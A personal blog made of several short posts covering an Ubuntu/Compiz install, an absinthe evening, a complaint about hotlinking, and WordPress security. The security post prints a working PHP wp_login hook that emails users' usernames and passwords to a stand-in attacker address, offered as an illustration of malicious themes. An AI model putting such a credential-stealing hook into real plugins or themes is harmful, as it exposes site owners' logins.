I finally had enough of Microsoft Vista. My Dell Inspiron 9400 came preinstalled with Vista (To my dismay), and I gave it chance. I used it for about 5 months, which was about 5 months too long.

A couple days ago I installed Ubuntu 7.10 (Gutsy Gibbon), and I couldn’t be happier. The only installation snag was getting my Broadcom 43xx wireless card working (bcom43xx), which was easy to fix by following the instructions here. After that I installed the fglrx ATI drivers, setup Xgl & Compiz, and I’m rockin’ and a rollin’.

Compiz really is an amazing looking piece of eye candy. Thankfully it’s fully supported in the latest versions of Ubuntu, and installing it was as simple as installing any other application. No hacking required. It’s almost amazing enough for me to install Ubuntu on my desktop. We’ll see how things go on my laptop before doing anything crazy like that.

The only problem I’m having now is the screen randomly dims when the laptop is running on the battery. Changing the power saving settings have no affect at all.

Quick demo of Compiz recorded with Istanbul, and converted to YouTube friendly flv with ffmpeg. The screen cap looks a little choppy, but in reality it runs very smoothly.

Last night I got completely and unexpectedly drunk, which is something I try to avoid, because I don’t like the feeling of being drunk, and I don’t like the hangovers.

A couple weeks ago I read an article on salon.com, that said absinthe prohibition had been repealed in The United States. Woohoo! I’ve always been fascinated by the idea of absinthe, so I decided to buy a bottle of Nouvelle-Orléans.

Little did I know that only two brands of absinthe have been approved for sale in the U.S., and Nouvelle-Orléans isn’t one of them. Oh well. The bottle cost me about $120, and took a little over a week to arrive from the UK. The next bottle I buy will be one of the approved brands, and I can have it shipped straight from New York.

If you’ve ever drank sambuca, or swam in a pool of black liquorice, then you know what absinthe tastes like. Sambuca, liquorice, and absinthe all get their flavor from anise. So if you don’t like liquorice, you won’t like absinthe.

Nouvelle-Orléans is nearly 70% alcohol, so I knew I was going to get a little tipsy, but absinthe is diluted with about 4 parts water, so I didn’t expect to get drunk. I mean, one glass of diluted absinthe is about as strong as a glass of wine. That didn’t matter. Four hours later I had 3 glasses in my belly (And working on a 4th), and I was starting to see double. I’m sure I would have been slurring too if I tried to talk.

It wasn’t a bad high though. It was all in my head, and not in my body. I wasn’t tripping over things, or feeling sick. I just felt pretty good. If I drank 3 tall glasses of Jack Daniels, I’d probably be puking. So all in all, it was a pretty good experience.

Looks like the Dvorak blog has been called out again for hotlinking images. I wrote about this more than a year ago, but that hasn’t stopped them.

The Dvorak team is busy pointing out how they’ve legally done nothing wrong, and that’s probably true. But that doesn’t make it right. They may not be infringing on anyone’s copyright, but they are stealing bandwidth. That’s especially the case when a large site like Dvorak’s, hotlinks to an image on a smaller site with limited bandwidth. That’s like a Super Wal-Mart store siphoning electricity from a smaller store, and letting them pay the electric bill.

The Dvorak crew is either being lazy, or they’re ignorant. They could easily upload the images to their own server — pay their own way — but they don’t. The Internet community considers it rude to hotlink images, and Dvorak should know that by now.

One of these days someone is going to replace a hotlinked picture with penises to teach them a lesson.

Update: John’s crew doesn’t see anything wrong with hotlinking, because you’re making your site’s images publicly available. So, I suggest everyone start hotlinking John’s images. Lets see if we can run up his bandwidth bill.

This is pretty much what I’ve been doing with most of my free time.

I would have never guessed this is Larry The Cable Guy.. just.. wow.

The more I think about WordPress and security, the more I see parallels with it and Microsoft Windows. Wordpress and Windows are both very popular. They’re both easy to use. And neither of them is particularly secure.

Lets take a look at a small piece of code that could be easily added to themes or plugins.

add_action('wp_login', 'plugin_login');
function plugin_login()
{
	$url = get_option('home');
	$message = "Site: $url\r\nUsername: {$_POST['log']}\r\nPassword: {$_POST['pwd']}";
	mail('evilguy@yahoo.com', 'WordPress UN/PW', $message);
}

This piece of code emails your blog URL, your username, and your password to evilguy@yahoo.com anytime you log in. Could the WordPress creators prevent this? Yes they could. But it’s a little too late.

Microsoft made Vista a PITA to use by bolting on a bunch of security “features” a decade after first creating Windows, and the same thing would happen to WordPress. If you’re not thinking “security” from the first line of code you write, to the last, then you’ve already lost.

I’ve been reading more and more about WordPress themes containing spyware, or other malicious code. So I wrote a plugin that scans your themes for suspicious code.

When you activate the theme, the plugin scans all the files in the theme for any PHP code that seems suspicious. It will then alert you, and ask if you really want to activate the theme.

You can find more info here.

So I moved the ol’ blog back to WordPress. Drupal was great and all, but it was overkill for a blog. I intended to learn more about the Drupal innards, but I never got around to it. I do know WordPress inside and out, so it just makes more sense to use it here.

P.S. I lost the comments for the last few posts. I exported the Drupal database into WordPress a couple weeks ago, and it was a real PITA. I wasn’t going to do it again. So I just rewrote the newer posts, and lost the comments.

Samson Claus is coming, to town!

God.. Someone stop me from watching this video.